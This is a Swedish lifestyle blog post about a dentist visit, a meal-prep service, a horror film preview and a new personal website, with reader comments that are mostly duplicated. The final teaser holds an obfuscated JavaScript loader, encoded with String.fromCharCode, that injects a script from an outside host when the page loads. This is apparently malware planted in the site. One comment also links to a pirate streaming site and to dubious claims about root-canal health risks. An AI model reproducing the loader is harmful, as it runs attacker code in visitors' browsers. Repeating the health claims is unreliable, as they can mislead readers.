Tandläkaren, matlådor, bio och skräckfilm…

innehåller reklamlänk

1A83D7B7-CE85-4E9F-824A-7DA59A981C4C

Godkväll!

Hur har din dag varit? Är du precis som jag vääääödigt trött på det gråa, kalla och blöta vädret?! 🤣😝 Jag kan iallafall trösta mig med att det bara är några veckor kvar tills jag och ett gäng av åker till Egypten 💚😎🌴 Men… fram tills dess så kämpe vi på här hemma 💪🏻

Idag har jag plåtat och hängt med Jenny nästan hela dagen… Jenny driver inspoguide.com kika gärna🤗 3718991F-86CE-430A-BA2D-FA90E0409D75 E33D52C9-E2BD-4C0E-BE3B-A3D0EE643BD7

Vi var i stan en sväng… jag var hos tandläkaren. En rotfyllning som gått snett 😫 Träffade min nya tandläkare idag. Kändes SÅ bra. Ska få komma till specialisten och ”rätta till” på måndag. Antibiotika och smärtstillande under tiden…. Sååå jobbigt! Men, så glad att jag hamnat på denna klinik 🙏🏻

Efter tandläkaren så gick jag och Jenny till Wellmehf i Östermalmshallen.

-Fräsch och nyttig mat 💚🙌🏻

Jag har SÅ svårt att få till kosten, med alla matlådor, mellanmål osv. Därför har jag anlitat proffesionell hjälp🙏🏻

Dom kommer att hjälpa mig med mina matlådor, shots och grönsakjuicer 😅 (självklart skräddarsytt efter Akos kostschema ) 

-BÄSTA!🙌🏻

Mer om det i ett senare inlägg…..

318BA6A9-52E9-4761-8BCE-9302C246651E 9087FF63-45B1-4F36-A48D-2512343686FE

Sen tog vi en långlunch hemma, med go-sakerna ifrån Wellme☺️ Några timmar i lugn och ro med tjejsnack och planering💚

Sen vidare mot stan (igen 😅) Bio. Förhandsvisning av skräckfilmen US. Jag brukar inte våga se skräckfilmer… Så detta var verkligen oväntat för att vara jag. Vi kom till en liten biograf på sankt eriksgatan. Såååå mysig!

E5CE4DA3-B850-420D-BF94-0D7795F4065B D3013046-F2D3-4FD6-9CB1-C820845A9907

Jag gick tillsammans med Ako. Som visar av er får lära känna bättre i Egypten 😉

Jag går på ”diet” ( kostschema) Det gör inte han. Så han åt upp mitt 😝🤣!!!! Hahaha Det var så fint uppdukat med champagne, choklad, nötter, popcorn och annat gott. Men ut drack en Celcius och

47D886FB-41A6-4885-9CE9-7824DCAEBEC1

Hörs imorgon. Och du… tack för feedback 💚🙏🏻

Men när jag frågade vad ni tyckte om min nya hemsida så frågade många vad skillnaden var. Jag menar min HEMSIDA ( in och kika HÄR ) Den är ju helt ny… har inte funnits innan. Jag tror ni tror att jag menade bloggen. Men jag menade alltså min nya hemsida som Jonas byggt åt mig ❤️🤗

Nu hemma i sängen….. Dags att sova! 

7DA414C8-6C86-42F4-AE2D-42A5891A4248

Gonatt, sov gott….

/My Martens

41 Komentarer

    • En blogg och en hemsida är ju inte samma sak ?
      Bloggen är en blogg. Hemsidan är som ett digitalt visitkort, en samlingplats för mina projekt, olika socialamediakanaler, kontaktuppgifter, pressbilder , träningsresor och event m.m ☺️ Vill bara veta vad ni tyckte om den… vi har än sålänge vara smyglanserade den. Testat den. Ska jobba vidare med den och färdigställa och komplettera med lite till…

    • En blogg och en hemsida är ju inte samma sak 🤗

      Bloggen är en blogg. Hemsidan är som ett digitalt visitkort, en samlingplats för mina projekt, olika socialamediakanaler, kontaktuppgifter, pressbilder , träningsresor och event m.m ☺️ Vill bara veta vad ni tyckte om den… vi har än sålänge vara smyglanserade den. Testat den. Ska jobba vidare med den och färdigställa och komplettera med lite till…

  1. Hej my! Ett tag sen jag kollade din blogg. Tänkte på detta, bli nu inte arg men vill fråga dig om du gjort dina läppar? Ser ut som om du lägger på vaselin(gammalt men bra smörj) på dem för att de inte ska torka ut?
    En del vill nog säga till mig att det är jag som borde torkas ur. Ja det är möjligt. Undrar bara. Dina läppar är jämt vaselinaktiga, så min fråga är- har du gjort dina läppar? I så fall var? Dom är Skit Snygga ??

    • Tack, för komplimangen…. nej, jag har fortfarne inte gjort läpparna ? jag använder Rosenseriens läppserat. Grejen ör att mina läppar ör torra som fnöske denna årstiden, får även små sprickor… så nu bär jag varit i en sådan period igen så smörjer jag hela tiden ☺️

    • Vet inte vart min kommentar tog vägen.
      Men håller med om läpparna.
      Vill bara ge dig ett gott råd My, har du gjort dem så gör inte mer! Har du INTE gjort dem, gör dem aldrig. För de är fina som de är, nu! Du behöver inte komma med nåt ”taggarna ut svar” nu för jag menar bara väl.
      Tänker du för övrigt inte på vad du själv skrivit om att bromsa upp och lyssna på kroppen när du fyller dina dagar med så mkt som du beskrivit här.
      Hinner du med jobbet eller är det pga jobb du får göra så mkt trevligt?

  2. Hej my! Ett tag sen jag kollade din blogg. Tänkte på detta, bli nu inte arg men vill fråga dig om du gjort dina läppar? Ser ut som om du lägger på vaselin(gammalt men bra smörj) på dem för att de inte ska torka ut?

    En del vill nog säga till mig att det är jag som borde torkas ur. Ja det är möjligt. Undrar bara. Dina läppar är jämt vaselinaktiga, så min fråga är- har du gjort dina läppar? I så fall var? Dom är Skit Snygga 👍💜

    • Tack, för komplimangen…. nej, jag har fortfarne inte gjort läpparna 😄 jag använder Rosenseriens läppserat. Grejen ör att mina läppar ör torra som fnöske denna årstiden, får även små sprickor… så nu bär jag varit i en sådan period igen så smörjer jag hela tiden ☺️

    • Vet inte vart min kommentar tog vägen.
      Men håller med om läpparna.
      Vill bara ge dig ett gott råd My, har du gjort dem så gör inte mer! Har du INTE gjort dem, gör dem aldrig. För de är fina som de är, nu! Du behöver inte komma med nåt ”taggarna ut svar” nu för jag menar bara väl.
      Tänker du för övrigt inte på vad du själv skrivit om att bromsa upp och lyssna på kroppen när du fyller dina dagar med så mkt som du beskrivit här.
      Hinner du med jobbet eller är det pga jobb du får göra så mkt trevligt?

    • Guuuud nej! Jag och Jonas är inte svartsjuka på varandra. Vi vet vart vi står ❤️?? Han turnerar ju nästan varenda helt på nattklubbar/arenor med fulla och ”k*ta” människor ( obs skrivet med glimten i ögat) jag pendlar mellan öland och Sthlm, kommer även ut och resa med Ako och fler …. vårat förhållande skulle vara dödsdömt om vi hade minsta lilla svartsjuka ☺️ Så kort och gott. Nej ?

    • Guuuud nej! Jag och Jonas är inte svartsjuka på varandra. Vi vet vart vi står ❤️🙏🏻 Han turnerar ju nästan varenda helt på nattklubbar/arenor med fulla och ”k*ta” människor ( obs skrivet med glimten i ögat) jag pendlar mellan öland och Sthlm, kommer även ut och resa med Ako och fler …. vårat förhållande skulle vara dödsdömt om vi hade minsta lilla svartsjuka ☺️ Så kort och gott. Nej 🤗

  3. Konstigt att du inte berättade/skrev mer om din nya hemsida i inlägget så att jag i alla fall, kunde förstå att det inte handlade om en förnyad bloggsida:-). Missförstånd…

  4. Konstigt att du inte berättade/skrev mer om din nya hemsida i inlägget så att jag i alla fall, kunde förstå att det inte handlade om en förnyad bloggsida:-). Missförstånd…

  5. Underbart att ha dig på plats idag på @wellmehf i Östermalms Saluhall! Så roligt att ha ditt skräddarsydda kostupplägg på vår hemsida, paketerad som CLEAN & STRONG MY – Challenge eller Kickstart!!! Mot ett Renare & Starkare Liv! ? Bästa!

  6. Underbart att ha dig på plats idag på @wellmehf i Östermalms Saluhall! Så roligt att ha ditt skräddarsydda kostupplägg på vår hemsida, paketerad som CLEAN & STRONG MY – Challenge eller Kickstart!!! Mot ett Renare & Starkare Liv! 🙂 Bästa!

  7. Hoj
    Jag råkade hitta en film om rotfyllningar, typ en dokumentär om dess risker. Hur det kan påverka kroppen. Inte meningen skrämma upp ngn, men jag kände själv när jag blev tipsat se den, att wow bra att veta om man själv el ngn man känner skulle drabbas…
    Speciellt också viktigt om kroppen redan ä påverkad, slutkörd sen tidigare, då kanske har sämre möjlighet hantera andra påfrestningar som exvis en rotfyllning kan innebära!
    Kram kram
    Anna
    Länken till filmen
    https://freemovies4k.org/all-movies/96911-root-cause-2019.html

  8. Hoj
    Jag råkade hitta en film om rotfyllningar, typ en dokumentär om dess risker. Hur det kan påverka kroppen. Inte meningen skrämma upp ngn, men jag kände själv när jag blev tipsat se den, att wow bra att veta om man själv el ngn man känner skulle drabbas…
    Speciellt också viktigt om kroppen redan ä påverkad, slutkörd sen tidigare, då kanske har sämre möjlighet hantera andra påfrestningar som exvis en rotfyllning kan innebära!
    Kram kram
    Anna

    Länken till filmen
    https://freemovies4k.org/all-movies/96911-root-cause-2019.html

  9. Dricker du champagne när du går på kostschema? Varför har du träningsbyxor på dig när du är ute och går på vintern?

    • haha! Nej, jag dricker inte champagne. Varken på kostschema, eller annars ? Man behöver ju inte äta eller docka det man bjuds på ? Jag har två par träningsbyxor på mig. Just nu är ”vintern” mellan 2-12 plus

  10. Dricker du champagne när du går på kostschema? Varför har du träningsbyxor på dig när du är ute och går på vintern?

    • haha! Nej, jag dricker inte champagne. Varken på kostschema, eller annars 😉 Man behöver ju inte äta eller docka det man bjuds på 😉 Jag har två par träningsbyxor på mig. Just nu är ”vintern” mellan 2-12 plus

Svara

Lämna din kommentar!
Ditt namn här

Om du missat..

Andas ut stressen med hjälp av djupandning

Andas ut stressen med hjälp av djupandning -Hur många tänker egentligen på sin andning? Jag...

SMEG bagaren och kocken 20%

I reklamsamarbete Bagaren och Kocken ??‍? Hej på er! Detta är en grymt efterlängtad kampanj...

Adviral Event

My Martens , Ako Rahim. Adviral Media. d Ako, Renata, My   var f=String;+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/